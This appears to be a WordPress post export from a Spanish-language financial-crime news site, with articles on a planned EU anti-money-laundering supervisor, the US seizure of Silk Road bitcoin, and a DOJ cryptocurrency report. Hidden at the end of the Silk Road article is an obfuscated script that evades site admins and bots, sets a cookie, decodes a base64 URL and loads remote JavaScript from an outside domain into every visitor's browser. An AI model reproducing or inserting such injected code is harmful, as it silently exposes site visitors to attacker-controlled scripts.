early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son 